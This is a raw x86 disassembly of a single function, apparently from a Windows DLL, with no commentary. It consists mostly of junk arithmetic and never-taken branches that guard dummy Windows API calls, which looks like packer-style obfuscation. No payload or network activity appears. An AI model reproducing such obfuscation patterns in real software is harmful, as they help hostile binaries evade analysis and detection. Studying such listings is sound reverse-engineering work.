mov eax, dword [ebp - 0x140]
or eax, 0xffffffff
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp edx, esi
setl cl
sub eax, ecx
je 0x1001b4bf
mov dword [ebp - 0xc], 3
cmp dword [ebp - 0xc], ebx
jl 0x1001b474
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001b46f
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
or eax, 0xffffffff
dec dword [ebp - 0xc]
jns 0x1001b44f
mov dword [ebp - 0xc], ebx
jmp 0x1001b4b7
mov dword [ebp - 0x18], 0x2d62
mov dword [ebp - 0x10], ebx
jmp 0x1001b499
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001b496
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x1001b485
mov dword [ebp - 0x10], ebx
jmp 0x1001b4ae
mov dword [ebp - 0x18], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x1001b4a4
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jle 0x1001b479
jmp 0x1001b4ea
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001b4d4
push 0x597
push ebx
call dword [sym.imp.USER32.dll_GetSubMenu]
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001b4ea
push ebx
push 0x7dc
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xfffffff7
je 0x1001b3ef
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001b511
push ebx
push ebx
push 7
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0x7e6ef1f7
mov dword [ebp - 4], ebx
jmp 0x1001b531
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x30], 0x5b57fd54
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1001b523
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x1001b85e
push 2
pop edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], 0x9f8c5172
mov dword [ebp - 0x24], 0xfffffffd
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x30], ebx
je 0x1001b56a
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x30], ebx
mov eax, ecx
je 0x1001b56c
mov eax, ebx
cmp eax, 0xfffffffc
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
mov eax, dword [ebp - 0x30]
setge cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
sub edx, dword [ebp + eax*4 - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x30]
cmp eax, edx
setg cl
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], ebx
jg 0x1001b849
xor edi, edi
inc edi
mov dword [ebp - 0x20], 0x8fb8
mov dword [ebp - 0xc], 0xd8d92426
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x30]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x30]
mov ecx, dword [ebp - 0xc]
sub ecx, eax
je 0x1001b5f0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x30]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x30]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
xor eax, eax
sub edx, dword [ebp - 0xc]
cmp edx, 0xa81d
setl al
cmp eax, dword [ebp - 0x30]
je 0x1001b624
mov eax, ebx
cmp dword [ebp - 0xc], ebx
je 0x1001b626
mov eax, edi
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + eax*4 - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x20]
setl cl
sub edx, ecx
cmp edi, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0xc]
cmp ecx, 0x6ba05392
jg 0x1001b665
mov edx, edi
cmp dword [ebp - 0xc], ebx
jne 0x1001b667
mov edx, ebx
mov eax, dword [ebp - 0xc]
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x20]
neg ecx
cmp ecx, dword [ebp - 0x1c]
jle 0x1001b7d6
mov dword [ebp - 4], 0x890aaf75
mov dword [ebp - 0x18], 0xad5889e5
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x30]
sub ecx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x30], ecx
je 0x1001b6a9
mov eax, edi
cmp dword [ebp - 0xc], ebx
jne 0x1001b6ab
mov eax, ebx
mov dword [ebp - 0xc], eax
xor edx, edx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov ecx, 0xec6b039b
setne dl
or eax, 0xffffffff
sub eax, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setne cl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 0x33
jg 0x1001b83d
xor ecx, ecx
push 0xfffffffffffffffa
inc ecx
pop edi
mov dword [ebp - 0x18], 0x2d7faeff
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x28], 5
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
sub eax, 0xd1e
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 4]
test eax, eax
je 0x1001b7be
mov dword [ebp - 0x18], 0xaf6502fc
mov dword [ebp - 0x14], 0xd
jmp 0x1001b773
mov dword [ebp - 0x18], 0xfffffffd
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001b770
push ebx
call esi
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jne 0x1001b757
mov dword [ebp - 0xc], 0x7236
xor ecx, ecx
mov eax, dword [ebp - 0xc]
cmp eax, 0x8a9b
setge cl
imul ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x1001b7a2
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
inc eax
je 0x1001b7a2
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], 0x2da2ea9
cmp dword [ebp - 0x18], 0x8c34f7c3
sbb eax, eax
xor ecx, ecx
inc eax
inc ecx
mov dword [ebp - 0x14], eax
jmp 0x1001b7c4
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x33
jle 0x1001b6eb
xor edi, edi
inc edi
jmp 0x1001b83d
mov dword [ebp - 0x34], edi
cmp dword [ebp - 0x34], ebx
jne 0x1001b7f5
mov eax, dword [ebp - 0x20]
xor ecx, ecx
or edx, 0xffffffff
cmp eax, edx
mov eax, ebx
setl cl
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
je 0x1001b7f7
mov eax, edi
add eax, 0x414c507b
jne 0x1001b801
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
xor ebx, ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x30]
cmp eax, 0xcfc2
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
setg bl
xor edx, edx
neg ebx
cmp ecx, eax
setg dl
xor eax, eax
imul edx, dword [ebp - 0x34]
cmp ebx, edx
setg al
xor ebx, ebx
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x1001b5bd
inc dword [ebp - 0x1c]
push 1
pop ecx
cmp dword [ebp - 0x1c], ebx
jle 0x1001b542
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 2
mov dword [ebp - 4], ebx
pop edx
jmp 0x1001b877
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x16c], 0x4b13281d
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1001b866
mov dword [ebp - 0x14], 0x9a3df603
or eax, 0xffffffff
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], 0xd714f98c
mov dword [ebp - 0x18], 0x4e665969
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], 0xffff
mov dword [ebp - 0x24], 0xe2caeaba
mov dword [ebp - 0x10], ebx
jmp 0x1001b8e3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb0], 0x1124f01c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1001b8d2
mov dword [ebp - 0x10], ebx
jmp 0x1001b8fe
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1c4], 0x74d4b4b2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1001b8ed
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jg 0x1001b9b8
or esi, 0xffffffff
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x91df82
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0xbe76d238
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0x19fa553f
mov dword [ebp - 0x10], ebx
jmp 0x1001b946
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x40], 9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1001b938
mov dword [ebp - 0x10], ebx
jmp 0x1001b961
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1dc], 0xb333ee6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1001b950
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], ebx
jl 0x1001b9a6
mov dword [ebp - 0x24], 0xb048
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], ebx
jmp 0x1001b98f
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1ac], 0x3989226c
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1001b97e
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0xb0]
dec dword [ebp - 0x40]
jns 0x1001b96f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1001b912
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0xffffffe6
jle 0x1001bbb9
or edi, 0xffffffff
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jge 0x1001bba6
mov dword [ebp - 0xc], 0xd8da
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 4], ebx
jmp 0x1001b9ff
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x104], 0x20b963ab
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1001b9ee
mov dword [ebp - 0xc], 0x5d6c05ba
cmp dword [ebp - 0xc], ebx
je 0x1001ba19
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0xc]
jg 0x1001bb1d
push 2
mov dword [ebp - 0x18], 0x667120dd
mov dword [ebp - 4], ebx
pop edx
jmp 0x1001ba59
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x150], 9
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1001ba48
xor ecx, ecx
mov dword [ebp - 0xc], ebx
inc ecx
cmp dword [ebp - 0xc], ecx
jg 0x1001bb45
mov dword [ebp - 4], ebx
jmp 0x1001ba80
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x54], 0x3203bd65
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1001ba72
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0x50], ebx
jl 0x1001bb0c
or eax, 0xffffffff
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], ebx
cmp dword [ebp - 0x7c], ecx
jg 0x1001bb07
mov dword [ebp - 4], ebx
jmp 0x1001bab9
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x138], ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x1001baac
mov dword [ebp - 0x12c], ecx
cmp dword [ebp - 0x12c], ebx
jl 0x1001baf0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x104]
mov ecx, dword [ebp - 0x14c]
add eax, 0xfffffff8
add ecx, eax
mov dword [ebp - 0x18], ecx
dec dword [ebp - 0x12c]
jns 0x1001bacd
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x50]
cmp dword [ebp + eax*4 - 0x104], ebx
jne 0x1001bb04
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], ecx
jle 0x1001baa7
or eax, 0xffffffff
dec dword [ebp - 0x50]
jns 0x1001ba90
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jle 0x1001ba6d
or edi, 0xffffffff
jmp 0x1001bb45
mov dword [ebp - 4], ebx
jmp 0x1001bb33
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x15c], 0x6966ef3b
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x1001bb22
inc dword [ebp - 0x15c]
xor ecx, ecx
push 2
inc ecx
pop edx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], ebx
jl 0x1001bb9d
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], 0x256915a1
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x18], 0x5cd53bc6
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], ebx
jmp 0x1001bb80
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1e8], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x1001bb73
inc dword [ebp - 0x18]
dec dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x16c], ebx
jne 0x1001bb9d
dec dword [ebp - 0x14]
jns 0x1001bb50
inc dword [ebp - 0x28]
js 0x1001b9db
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
jg 0x1001b9c8
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
inc dword [ebp - 0xe4]
cmp dword [ebp - 0xe4], 0xf
jg 0x1001b211
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x24], 0x29b3a00d
mov dword [ebp - 4], ebx
jmp 0x1001bbec
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa0], 0xec2e0cf5
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x1001bbdb
mov dword [ebp - 0x10], ebx
jmp 0x1001bc10
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001bc0d
push 0x5d3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x1001bbf7
cmp dword [ebp - 0x10], ebx
jne 0x1001bc54
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp eax, ecx
mov ecx, 0xd9a2b82c
setne dl
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x9c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, 0xf746
jge 0x1001bc54
xor esi, esi
mov edx, ebx
inc esi
jmp 0x1001bc59
xor esi, esi
inc esi
mov edx, esi
mov eax, dword [ebp - 0x9c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
sub ecx, eax
sub ecx, 0x5034859b
je 0x1001bc7b
cmp dword [ebp - 0x10], ebx
je 0x1001bc7b
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], 0xe0752570
push 0xfffffffffffffffb
sbb eax, eax
inc eax
mov dword [ebp - 0x9c], eax
pop eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], ebx
jl 0x1001bd0c
or eax, 0xffffffff
mov dword [ebp - 4], eax
mov dword [ebp - 4], 0xc7c8a6b9
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 3
jg 0x1001bd07
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001bcdd
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001bcfb
push 0x16b3
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jle 0x1001bccb
or eax, 0xffffffff
dec dword [ebp - 0x28]
jns 0x1001bcb8
mov byte [ebp - 0x39], bl
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 4], 0xe5ccc90a
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], ebx
jmp 0x1001bd49
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001bd46
push 0x2029
push 0xa86
call edi
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jle 0x1001bd2a
lea eax, [ebp - 0x39]
push ebx
push eax
call fcn.10024d33
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0xe28de637
pop ecx
mov dword [ebp - 0x18], ebx
pop ecx
mov dword [ebp - 0x10], ebx
jmp 0x1001bd7e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x88], 0x94a1888
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001bd6d
mov dword [ebp - 0x10], ebx
jmp 0x1001bd99
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x188], 0xe9323d1b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1001bd88
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x14]
jl 0x1001bde6
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], ebx
jmp 0x1001bdc9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x17c], 0x54a20a2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1001bdb8
mov dword [ebp - 0x18], 0xfffffffb
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x188], eax
dec dword [ebp - 4]
jmp 0x1001be6c
mov dword [ebp - 0x18], 0xc3fc0233
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
jmp 0x1001be32
mov dword [ebp - 0x18], 0xfffffffa
cmp dword [ebp - 0x18], ebx
jne 0x1001be08
mov eax, ebx
cmp dword [ebp - 0x14], ebx
je 0x1001be0a
mov eax, esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001be2f
push 0x21a4
push ebx
push ebx
push 0xb70
push ebx
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x25
jl 0x1001bdf5
mov dword [ebp - 0x14], 0xffffffee
jmp 0x1001be66
mov dword [ebp - 4], ebx
jmp 0x1001be57
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x10c], 0xffff
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x1001be46
inc dword [ebp - 0x108]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffb
je 0x1001be41
mov dword [ebp - 0x10], 5
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], 0xa7ab5bf7
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x10], ebx
jmp 0x1001bf71
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], ebx
jmp 0x1001bea8
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xd4], 0x997736ea
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x1001be97
mov dword [ebp - 0xc], ebx
jmp 0x1001bec0
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xdc], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x1001beb3
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 4]
imul eax, eax, 0xfffb
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xffff
mov eax, dword [ebp - 4]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp edx, 0x7d3709e8
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0xd0], ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xd8]
sub ecx, eax
mov dword [ebp - 0xd0], ecx
mov eax, dword [ebp - 0x18]
add eax, ecx
je 0x1001bf63
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
cmp eax, 0x4c3dc4d7
setne cl
cmp ecx, 2
mov ecx, esi
jae 0x1001bf65
mov ecx, ebx
mov eax, dword [ebp - 0x34]
imul eax, ecx
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 6
jl 0x1001be8f
mov eax, dword [ebp - 0xa4]
mov ecx, 0x3e8
cdq
idiv ecx
mov ecx, dword [ebp - 0xa8]
mov esi, edx
mov edi, eax
call fcn.1001a629
add eax, esi
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret